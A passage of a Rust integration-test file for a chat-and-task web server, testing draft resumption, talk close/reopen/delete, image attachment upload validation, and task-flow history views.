10220 .await;
10221 assert_eq!(refused.status, 409, "{}", refused.body);
10222 assert!(refused.body.contains("resume"), "{}", refused.body);
10223 let saved = store.get(&id).expect("draft remains after refusal");
10224 assert!(saved.turns.is_empty());
10225 assert_eq!(saved.pending, "saved before restart");
10226
10227 let say_path = format!("/api/talks/{id}/say");
10228 let (first, second) = tokio::join!(
10229 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
10230 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
10231 );
10232 assert_eq!(first.status, 409, "{}", first.body);
10233 assert_eq!(second.status, 409, "{}", second.body);
10234 let saved = store
10235 .get(&id)
10236 .expect("draft remains after concurrent refusals");
10237 assert!(saved.turns.is_empty());
10238 assert_eq!(saved.pending, "saved before restart");
10239
10240 let resumed = f
10241 .post(&format!("/api/talks/{id}/pending/resume"), None)
10242 .await;
10243 assert_eq!(resumed.status, 202, "{}", resumed.body);
10244 let duplicate = f
10245 .post(&format!("/api/talks/{id}/pending/resume"), None)
10246 .await;
10247 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
10248
10249 for _ in 0..SETTLE_STEPS {
10250 if store.get(&id).expect("talk").turns.len() == 2 {
10251 break;
10252 }
10253 tokio::time::sleep(Duration::from_millis(10)).await;
10254 }
10255 let finished = store.get(&id).expect("finished talk");
10256 assert_eq!(finished.turns.len(), 2, "{finished:?}");
10257 assert_eq!(finished.turns[0].body, "saved before restart");
10258 assert!(finished.pending.is_empty());
10259 }
10260
10261 #[tokio::test]
10262 async fn an_image_only_recovered_draft_resumes_without_text() {
10263 let (_tmp, _repo, f) = talk_fixture().await;
10264 let id = f.post("/api/talks", None).await.json()["id"]
10265 .as_str()
10266 .expect("id")
10267 .to_owned();
10268 let uploaded = f
10269 .post_bytes(
10270 &format!("/api/talks/{id}/attachments"),
10271 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
10272 PNG_BYTES,
10273 )
10274 .await;
10275 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10276 let attachment = f
10277 .talks()
10278 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
10279 .expect("attachment metadata")
10280 .expect("stored attachment");
10281 let store = f.talks();
10282 let mut recovered = store.get(&id).expect("opened talk");
10283 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
10284
10285 let resumed = f
10286 .post(&format!("/api/talks/{id}/pending/resume"), None)
10287 .await;
10288 assert_eq!(resumed.status, 202, "{}", resumed.body);
10289 for _ in 0..SETTLE_STEPS {
10290 if store.get(&id).expect("talk").turns.len() == 2 {
10291 break;
10292 }
10293 tokio::time::sleep(Duration::from_millis(10)).await;
10294 }
10295 let finished = store.get(&id).expect("finished talk");
10296 assert_eq!(finished.turns.len(), 2, "{finished:?}");
10297 assert!(finished.turns[0].body.is_empty());
10298 assert_eq!(finished.turns[0].attachments.len(), 1);
10299 assert!(finished.pending_attachments.is_empty());
10300 }
10301
10302 #[tokio::test]
10303 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
10304 let (_tmp, _repo, f) = talk_fixture().await;
10305 let id = f.post("/api/talks", None).await.json()["id"]
10306 .as_str()
10307 .expect("id")
10308 .to_owned();
10309 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10310 assert_eq!(closed.status, 200, "{}", closed.body);
10311 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
10312 .expect("serialize closed talk");
10313 for (path, body) in [
10314 (format!("/api/talks/{id}/pending/resume"), None),
10315 (
10316 format!("/api/talks/{id}/pending/clear"),
10317 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
10318 ),
10319 (
10320 format!("/api/talks/{id}/pending/edit"),
10321 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
10322 ),
10323 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
10324 ] {
10325 let response = f.post(&path, body).await;
10326 assert_eq!(response.status, 409, "{}", response.body);
10327 }
10328 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
10329 .expect("serialize closed talk");
10330 assert_eq!(
10331 after_clear, before_clear,
10332 "clear must not rewrite a closed talk"
10333 );
10334 }
10335
10336 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
10339
10340 #[tokio::test]
10341 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
10342 let tmp = TempDir::new().expect("tempdir");
10343 let repo = tmp.path().join("repo");
10344 std::fs::create_dir_all(&repo).expect("repo dir");
10345 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
10346 let f = Fixture::with_repo(repo).await;
10347 let id_a = f.post("/api/talks", None).await.json()["id"]
10348 .as_str()
10349 .unwrap()
10350 .to_owned();
10351 let id_b = f.post("/api/talks", None).await.json()["id"]
10352 .as_str()
10353 .unwrap()
10354 .to_owned();
10355
10356 let a = f
10357 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
10358 .await;
10359 assert_eq!(a.status, 202, "{}", a.body);
10360 assert_eq!(a.json()["thinking"], true);
10361 let b = f
10362 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
10363 .await;
10364 assert_eq!(b.status, 202, "{}", b.body);
10365 assert_eq!(b.json()["thinking"], true);
10366
10367 let listed = f.get("/api/talks").await.json();
10368 for id in [&id_a, &id_b] {
10369 let view = listed
10370 .as_array()
10371 .unwrap()
10372 .iter()
10373 .find(|talk| talk["id"] == *id)
10374 .unwrap();
10375 assert_eq!(view["thinking"], true, "{listed}");
10376 }
10377 let repeated = f
10378 .post(
10379 &format!("/api/talks/{id_a}/say"),
10380 Some(r#"{"text":"again"}"#),
10381 )
10382 .await;
10383 assert_eq!(repeated.status, 202, "{}", repeated.body);
10384 assert_eq!(repeated.json()["pending"], "again");
10385 }
10386
10387 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
10390
10391 #[tokio::test]
10392 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
10393 let f = Fixture::start().await;
10394 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
10395
10396 let res = f
10397 .post_bytes(
10398 &format!("/api/talks/{id}/attachments"),
10399 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10400 PNG_BYTES,
10401 )
10402 .await;
10403 assert_eq!(res.status, 201, "{}", res.body);
10404 let body = res.json();
10405 assert_eq!(body["name"], "shot.png");
10406 assert_eq!(body["mime"], "image/png");
10407 assert_eq!(body["bytes"], PNG_BYTES.len());
10408 let att_id = body["id"].as_str().expect("id").to_owned();
10409 assert_eq!(
10410 att_id.len(),
10411 32,
10412 "the id must never be a client-suppliable path: {att_id}"
10413 );
10414
10415 let got = f
10416 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
10417 .await;
10418 assert_eq!(got.status, 200, "{}", got.body);
10419 assert_eq!(got.header("content-type"), Some("image/png"));
10420 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
10421 assert_eq!(got.bytes, PNG_BYTES);
10422 }
10423
10424 #[tokio::test]
10425 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
10426 let f = Fixture::start().await;
10427 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
10428
10429 let svg = f
10432 .post_bytes(
10433 &format!("/api/talks/{id}/attachments"),
10434 &[("Content-Type", "image/svg+xml")],
10435 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
10436 )
10437 .await;
10438 assert!(
10439 (400..500).contains(&svg.status),
10440 "svg must be refused: {} {}",
10441 svg.status,
10442 svg.body
10443 );
10444 assert!(svg.body.contains("SVG"), "{}", svg.body);
10445
10446 let text = f
10447 .post_bytes(
10448 &format!("/api/talks/{id}/attachments"),
10449 &[("Content-Type", "text/plain")],
10450 b"just some text",
10451 )
10452 .await;
10453 assert!(
10454 (400..500).contains(&text.status),
10455 "an unlisted type must be refused: {} {}",
10456 text.status,
10457 text.body
10458 );
10459
10460 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
10463 let big = f
10464 .post_bytes(
10465 &format!("/api/talks/{id}/attachments"),
10466 &[("Content-Type", "image/png")],
10467 &oversized,
10468 )
10469 .await;
10470 assert_eq!(
10471 big.status,
10472 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
10473 "{}",
10474 big.body
10475 );
10476 }
10477
10478 #[tokio::test]
10479 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
10480 let f = Fixture::start().await;
10481 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
10482
10483 let res = f
10486 .post_bytes(
10487 &format!("/api/talks/{id}/attachments"),
10488 &[("Content-Type", "image/png")],
10489 b"<html>not a picture</html>",
10490 )
10491 .await;
10492 assert!((400..500).contains(&res.status), "{}", res.body);
10493 }
10494
10495 #[tokio::test]
10496 async fn an_unknown_attachment_id_is_a_404() {
10497 let f = Fixture::start().await;
10498 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
10499
10500 let res = f
10501 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
10502 .await;
10503 assert_eq!(res.status, 404, "{}", res.body);
10504 }
10505
10506 #[tokio::test]
10507 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
10508 let f = Fixture::start().await;
10509 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
10510
10511 let uploaded = f
10512 .post_bytes(
10513 &format!("/api/talks/{id}/attachments"),
10514 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10515 PNG_BYTES,
10516 )
10517 .await;
10518 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10519 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
10520
10521 let res = f
10522 .post(
10523 &format!("/api/talks/{id}/say"),
10524 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
10525 )
10526 .await;
10527 assert_eq!(res.status, 202, "{}", res.body);
10528 let queued = res.json();
10529 let turns = queued["turns"].as_array().expect("turns array");
10530 assert_eq!(
10531 turns.len(),
10532 1,
10533 "an empty body with an attachment is still a turn: {queued}"
10534 );
10535 assert_eq!(turns[0]["who"], "operator");
10536 assert_eq!(turns[0]["body"], "");
10537 let atts = turns[0]["attachments"]
10538 .as_array()
10539 .expect("attachments array");
10540 assert_eq!(atts.len(), 1);
10541 assert_eq!(atts[0]["id"], att_id);
10542 assert_eq!(atts[0]["mime"], "image/png");
10543
10544 let on_disk = f.talks().get(&id).expect("get");
10547 assert_eq!(on_disk.turns[0].attachments.len(), 1);
10548 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
10549 }
10550
10551 #[tokio::test]
10552 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
10553 let f = Fixture::start().await;
10554 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
10555
10556 let res = f
10557 .post(
10558 &format!("/api/talks/{id}/say"),
10559 Some(&format!(
10560 r#"{{"text":"hi","attachments":["{}"]}}"#,
10561 "a".repeat(32)
10562 )),
10563 )
10564 .await;
10565 assert!((400..500).contains(&res.status), "{}", res.body);
10566 assert!(res.body.contains("unknown attachment"), "{}", res.body);
10567
10568 let on_disk = f.talks().get(&id).expect("get");
10569 assert!(
10570 on_disk.turns.is_empty(),
10571 "a rejected attachment id must not partially record the turn: {:?}",
10572 on_disk.turns
10573 );
10574 }
10575
10576 #[tokio::test]
10577 async fn talk_close_makes_the_talk_refuse_further_turns() {
10578 let f = Fixture::start().await;
10579 let id = seed_talk(&f, "20260904-014455-cd34", "open");
10580
10581 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10582 assert_eq!(closed.status, 200, "{}", closed.body);
10583 assert_eq!(closed.json()["status"], "closed");
10584
10585 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
10587 assert_eq!(closed_again.status, 200);
10588 assert_eq!(closed_again.json()["status"], "closed");
10589
10590 let said = f
10591 .post(
10592 &format!("/api/talks/{id}/say"),
10593 Some(r#"{"text":"too late"}"#),
10594 )
10595 .await;
10596 assert_eq!(said.status, 409, "{}", said.body);
10597 }
10598
10599 #[tokio::test]
10600 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
10601 let (_tmp, _repo, f) = talk_fixture().await;
10602 let id = f.post("/api/talks", None).await.json()["id"]
10603 .as_str()
10604 .expect("id")
10605 .to_owned();
10606 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10607 assert_eq!(closed.status, 200, "{}", closed.body);
10608
10609 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10610 assert_eq!(reopened.status, 200, "{}", reopened.body);
10611 assert_eq!(reopened.json()["status"], "open");
10612
10613 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10615 assert_eq!(reopened_again.status, 200);
10616 assert_eq!(reopened_again.json()["status"], "open");
10617
10618 let said = f
10619 .post(
10620 &format!("/api/talks/{id}/say"),
10621 Some(r#"{"text":"still there?"}"#),
10622 )
10623 .await;
10624 assert_eq!(
10625 said.status, 202,
10626 "a reopened talk accepts turns again: {}",
10627 said.body
10628 );
10629 }
10630
10631 #[tokio::test]
10632 async fn talk_reopen_on_an_unknown_id_is_404() {
10633 let f = Fixture::start().await;
10634 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
10635 assert_eq!(res.status, 404, "{}", res.body);
10636 }
10637
10638 #[tokio::test]
10639 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
10640 let f = Fixture::start().await;
10641 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
10642
10643 let deleted = f.delete(&format!("/api/talks/{id}")).await;
10644 assert_eq!(deleted.status, 204, "{}", deleted.body);
10645
10646 let after = f.get(&format!("/api/talks/{id}")).await;
10647 assert_eq!(after.status, 404, "{}", after.body);
10648
10649 let listed = f.get("/api/talks").await.json();
10650 assert!(
10651 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
10652 "a deleted talk must not linger in the list: {listed}"
10653 );
10654 }
10655
10656 #[tokio::test]
10657 async fn talk_delete_on_an_unknown_id_is_404() {
10658 let f = Fixture::start().await;
10659 let res = f.delete("/api/talks/nonexistent-id").await;
10660 assert_eq!(res.status, 404, "{}", res.body);
10661 }
10662
10663 #[tokio::test]
10667 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
10668 let f = Fixture::start().await;
10669 let (a, b, gone) = (
10670 "20260902-140501-aaaa",
10671 "20260902-140502-bbbb",
10672 "20260902-140503-cccc",
10673 );
10674 write_run(&f.runs(), a, RunStatus::Stalled);
10675 let mut review = RunState::new(
10676 PathBuf::from("/repo/magi"),
10677 "main".to_owned(),
10678 "0123456789abcdef".to_owned(),
10679 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
10680 .to_owned(),
10681 Config::default(),
10682 );
10683 review.id = b.to_owned();
10684 review.status = RunStatus::Merged;
10685 write_state(&f.runs(), &review);
10686
10687 let mut task = Task::new(
10688 "retry".to_owned(),
10689 "Do the thing".to_owned(),
10690 PathBuf::from("/repo/magi"),
10691 Source::Human,
10692 );
10693 task.start(a.to_owned());
10694 task.stall("quota");
10695 task.start(a.to_owned());
10696 task.start(b.to_owned());
10697 task.start(gone.to_owned());
10698 f.queue().put(&mut task).expect("file the task");
10699
10700 let res = f.get(&format!("/api/queue/{}", task.id)).await;
10701 assert_eq!(res.status, 200, "{}", res.body);
10702 let v = res.json();
10703 let h = v["history"].as_array().expect("history");
10704 assert_eq!(h.len(), 4, "{v}");
10705 assert_eq!(h[0]["kind"], "competition");
10706 assert_eq!(h[0]["status"], "stalled");
10707 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
10708 assert_eq!(h[1]["kind"], "resume", "{v}");
10709 assert!(
10710 h[0]["outcome"]
10711 .as_str()
10712 .unwrap()
10713 .contains("unknown. Pass #2"),
10714 "an earlier pass of a resumed run must not claim the final outcome: {v}"
10715 );
10716 assert!(
10717 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
10718 "{v}"
10719 );
10720 assert!(
10721 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
10722 "an unrecorded cause must not be narrated as an operator park: {v}"
10723 );
10724 assert_eq!(h[2]["kind"], "review");
10725 assert!(
10726 h[2]["description"]
10727 .as_str()
10728 .unwrap()
10729 .contains("magi/aaaa/A")
10730 );
10731 assert_eq!(h[2]["status"], "merged");
10732 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10733 assert_eq!(v["runs_unreadable"], 1);
10734 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10735 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10736 assert_eq!(nodes[4]["note"], "unreadable");
10737 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10738 assert_eq!(v["instruction"], "Do the thing");
10739 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10740
10741 let run = f.get(&format!("/api/runs/{a}")).await.json();
10743 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10744
10745 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10746 }
10747
10748 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10749 let mut s = RunState::new(
10750 PathBuf::from("/repo/magi"),
10751 "main".to_owned(),
10752 "0123456789abcdef".to_owned(),
10753 "Do it".to_owned(),
10754 Config::default(),
10755 );
10756 s.status = status;
10757 edit(&mut s);
10758 s
10759 }
10760
10761 fn flow_task(runs: &[&str]) -> Task {
10762 let mut t = Task::new(
10763 "t".to_owned(),
10764 "Do it".to_owned(),
10765 PathBuf::from("/repo/magi"),
10766 Source::Human,
10767 );
10768 for r in runs {
10769 t.start((*r).to_owned());
10770 }
10771 t
10772 }
10773
10774 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10775 let h = task_history(task, |id| {
10776 states
10777 .iter()
10778 .find(|(i, _)| *i == id)
10779 .and_then(|(_, s)| s.clone())
10780 });
10781 task_flow(task, &h, 5, None)
10782 }
10783
10784 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
10785 crate::queue::FollowUp {
10786 run: "20260901-000000-aaaa".to_owned(),
10787 origin_task: origin_task.map(str::to_owned),
10788 pr: "https://example.com/o/r/pull/1".to_owned(),
10789 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
10790 .map(str::to_owned)
10791 .to_vec(),
10792 generation: 1,
10793 }
10794 }
10795
10796 fn parent_task() -> Task {
10797 let mut p = flow_task(&[]);
10798 p.title = "Parent title".to_owned();
10799 p.status = TaskStatus::Done;
10800 p
10801 }
10802
10803 #[test]
10804 fn flow_opens_with_the_parent_task_of_a_followup() {
10805 let p = parent_task();
10806 let pid = p.id.clone();
10807 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
10808 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10809 let n = &f.nodes[0];
10810 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
10811 assert_eq!(
10812 n.label,
10813 format!("Follow-up of {}", crate::queue::short(&pid))
10814 );
10815 assert_eq!(n.detail.as_deref(), Some("Parent title"));
10816 assert_eq!(n.status, Some("done"));
10817 assert_eq!(n.status_of, "task");
10818 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
10819 assert_eq!(f.nodes[1].key, "start");
10820 assert_eq!(f.edges[0].from, "origin");
10821 assert_eq!(
10822 f.edges[0].label,
10823 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
10824 );
10825 }
10826
10827 #[test]
10828 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
10829 let o = followup_origin(
10830 &fu(Some("gone")),
10831 |_| None,
10832 |_| {
10833 Some(RunState::new(
10834 std::path::PathBuf::from("."),
10835 "main".to_owned(),
10836 "0".to_owned(),
10837 "t".to_owned(),
10838 crate::config::Config::default(),
10839 ))
10840 },
10841 );
10842 assert!(o.parent.is_none());
10843 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10844 let n = &f.nodes[0];
10845 assert_eq!(n.status_of, "run");
10846 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
10847 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
10848 }
10849
10850 #[test]
10851 fn flow_followup_with_nothing_readable_has_no_link() {
10852 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
10853 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10854 let n = &f.nodes[0];
10855 assert_eq!(n.href, None);
10856 assert_eq!(n.note, Some("unreadable"));
10857 assert!(!n.readable);
10858 }
10859
10860 #[test]
10861 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
10862 let o = followup_origin(&fu(None), |_| None, |_| None);
10863 let mut t = flow_task(&[]);
10864 t.origin_chat = Some("c1".to_owned());
10865 let f = task_flow(&t, &[], 5, Some(&o));
10866 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
10867 t.source = Source::Agent {
10868 run: "c1".to_owned(),
10869 node: crate::queue::CHAT_NODE.to_owned(),
10870 };
10871 let f = task_flow(&t, &[], 5, Some(&o));
10872 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
10873 assert_eq!(
10874 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
10875 ("chat", "origin")
10876 );
10877 }
10878
10879 #[test]
10880 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
10881 let mut p = parent_task();
10882 p.id = "a b/c".to_owned();
10883 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
10884 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
10885 }
10886
10887 #[test]
10888 fn flow_opens_with_the_chat_that_queued_the_task() {
10889 let mut t = flow_task(&[]);
10890 t.source = Source::Agent {
10891 run: "a b/c".to_owned(),
10892 node: crate::queue::CHAT_NODE.to_owned(),
10893 };
10894 let f = flow_for(&t, &[]);
10895 assert_eq!(f.nodes[0].key, "chat");
10896 assert_eq!(f.nodes[0].kind, "chat");
10897 assert_eq!(
10898 f.nodes[0].label,
10899 format!("Chat {}", crate::queue::short("a b/c"))
10900 );
10901 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10902 assert_eq!(f.nodes[1].key, "start");
10903 assert_eq!(
10904 f.edges[0],
10905 FlowEdge {
10906 from: "chat".to_owned(),
10907 to: "start".to_owned(),
10908 label: "queued from chat".to_owned(),
10909 attempt: AttemptCost::None,
10910 }
10911 );
10912 }
10913
10914 #[test]
10915 fn flow_has_no_chat_box_for_other_sources() {
10916 for source in [
10917 Source::Human,
10918 Source::Issue {
10919 number: 3,
10920 repo: "o/r".to_owned(),
10921 },
10922 Source::Agent {
10923 run: "20260904-014455-ab12".to_owned(),
10924 node: "implement".to_owned(),
10925 },
10926 ] {
10927 let mut t = flow_task(&[]);
10928 t.source = source;
10929 let f = flow_for(&t, &[]);
10930 assert_eq!(f.nodes[0].key, "start");
10931 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10932 assert!(f.edges.iter().all(|e| e.from != "chat"));
10933 }
10934 }
10935
10936 const FA: &str = "20260902-140501-aaaa";
10937 const FB: &str = "20260902-140502-bbbb";
10938
10939 #[test]
10940 fn flow_follows_blocked_retry_merged_to_done() {
10941 let mut t = flow_task(&[FA, FB]);
10942 t.status = TaskStatus::Done;
10943 let f = flow_for(
10944 &t,
10945 &[
10946 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10947 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10948 ],
10949 );
10950 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10951 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10952 assert_eq!(f.edges.len(), 3);
10953 assert_eq!(f.edges[0].label, "claimed");
10954 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10955 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10956 assert_eq!(f.edges[2].label, "merged \u{2192} done");
10957 assert_eq!(
10958 f.nodes[2].href.as_deref(),
10959 Some("#/runs/20260902-140502-bbbb")
10960 );
10961 assert!(f.nodes[2].decided);
10962 }
10963
10964 #[test]
10965 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10966 let quota = || {
10967 flow_run(RunStatus::Stalled, |s| {
10968 s.quota.push(crate::run::QuotaLoss {
10969 seat: "judge-1".to_owned(),
10970 node: "judge".to_owned(),
10971 at: Timestamp::now(),
10972 reset: None,
10973 })
10974 })
10975 };
10976 let mut t = flow_task(&[FA, FA]);
10977 t.status = TaskStatus::Queued;
10978 let f = flow_for(&t, &[(FA, Some(quota()))]);
10979 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10980 assert_eq!(f.nodes[1].note, Some("interrupted"));
10981 assert_eq!(
10982 f.nodes[1].status, None,
10983 "no outcome copied onto an earlier pass"
10984 );
10985 assert_eq!(
10986 f.edges[1].attempt,
10987 AttemptCost::Unknown,
10988 "a resume does not prove the earlier pass was refunded"
10989 );
10990 assert!(f.edges[1].label.contains("resume the same run"));
10991 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10992 assert_eq!(
10993 f.edges[2].label,
10994 "stalled after a resume, refund unknown \u{2192} queued"
10995 );
10996 assert!(!f.nodes[2].decided, "a stall is not a decision");
10997 assert_eq!(f.nodes[2].note, Some("no verdict"));
10998 }
10999
11000 #[test]
11001 fn flow_single_pass_quota_stall_is_refunded() {
11002 let t = flow_task(&[FA]);
11003 let f = flow_for(
11004 &t,
11005 &[(
11006 FA,
11007 Some(flow_run(RunStatus::Stalled, |s| {
11008 s.quota.push(crate::run::QuotaLoss {
11009 seat: "judge-1".to_owned(),
11010 node: "judge".to_owned(),
11011 at: Timestamp::now(),
11012 reset: None,
11013 })
11014 })),
11015 )],
11016 );
11017 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11018 }
11019
11020 #[test]
11021 fn flow_parked_refunds_and_stall_without_quota_spends() {
11022 let mut t = flow_task(&[FA]);
11023 t.status = TaskStatus::Queued;
11024 let f = flow_for(
11025 &t,
11026 &[(
11027 FA,
11028 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
11029 )],
11030 );
11031 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
11032 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11033 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
11034 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11035 assert!(!f.nodes[1].decided);
11036 }
11037
11038 #[test]
11039 fn flow_keeps_an_unreadable_run_as_its_own_node() {
11040 let t = flow_task(&[FA, FB]);
11041 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
11042 assert_eq!(f.nodes[1].note, Some("unreadable"));
11043 assert!(!f.nodes[1].readable);
11044 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
11045 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
11046 }
11047
11048 #[test]
11049 fn flow_names_the_branch_of_a_review_only_run() {
11050 let t = flow_task(&[FA]);
11051 let f = flow_for(
11052 &t,
11053 &[(
11054 FA,
11055 Some(flow_run(RunStatus::Merged, |s| {
11056 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
11057 })),
11058 )],
11059 );
11060 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
11061 assert_eq!(
11062 f.nodes[1].detail.as_deref(),
11063 Some("review-only run of branch magi/x/A")
11064 );
11065 }
11066
11067 #[test]
11068 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
11069 let mut t = flow_task(&[FA]);
11070 t.status = TaskStatus::Held;
11071 let pr = crate::run::PrRecord {
11072 url: "https://example.test/pr/1".to_owned(),
11073 number: 1,
11074 state: "open".to_owned(),
11075 checks: "green".to_owned(),
11076 round: 0,
11077 rounds: 3,
11078 red_at_merge: Vec::new(),
11079 };
11080 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
11081 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
11082 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
11083 t.status = TaskStatus::Done;
11084 let f = flow_for(&t, &[(FA, Some(blocked))]);
11085 assert_eq!(f.edges[1].label, "closed by hand: task is done");
11086 }
11087
11088 #[test]
11089 fn flow_with_no_runs_goes_from_queued_to_queued() {
11090 let t = flow_task(&[]);
11091 let f = flow_for(&t, &[]);
11092 assert_eq!(f.nodes.len(), 2);
11093 assert_eq!(f.edges.len(), 1);
11094 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
11095 assert_eq!(f.edges[0].attempt, AttemptCost::None);
11096 }
11097
11098 #[test]
11101 fn a_parked_non_terminal_run_is_explained_as_parked() {
11102 let mut s = RunState::new(
11103 PathBuf::from("/repo/magi"),
11104 "main".to_owned(),
11105 "0123456789abcdef".to_owned(),
11106 "Do it".to_owned(),
11107 Config::default(),
11108 );
11109 s.status = RunStatus::Implementing;
11110 s.parked = true;
11111 let task = Task::new(
11112 "t".to_owned(),
11113 "Do it".to_owned(),
11114 PathBuf::from("/repo/magi"),
11115 Source::Human,
11116 );
11117 let v = task_run_view(
11118 "20260902-140501-aaaa",
11119 Some(&s),
11120 RunSlot {
11121 n: 1,
11122 resumed: false,
11123 resumed_later: None,
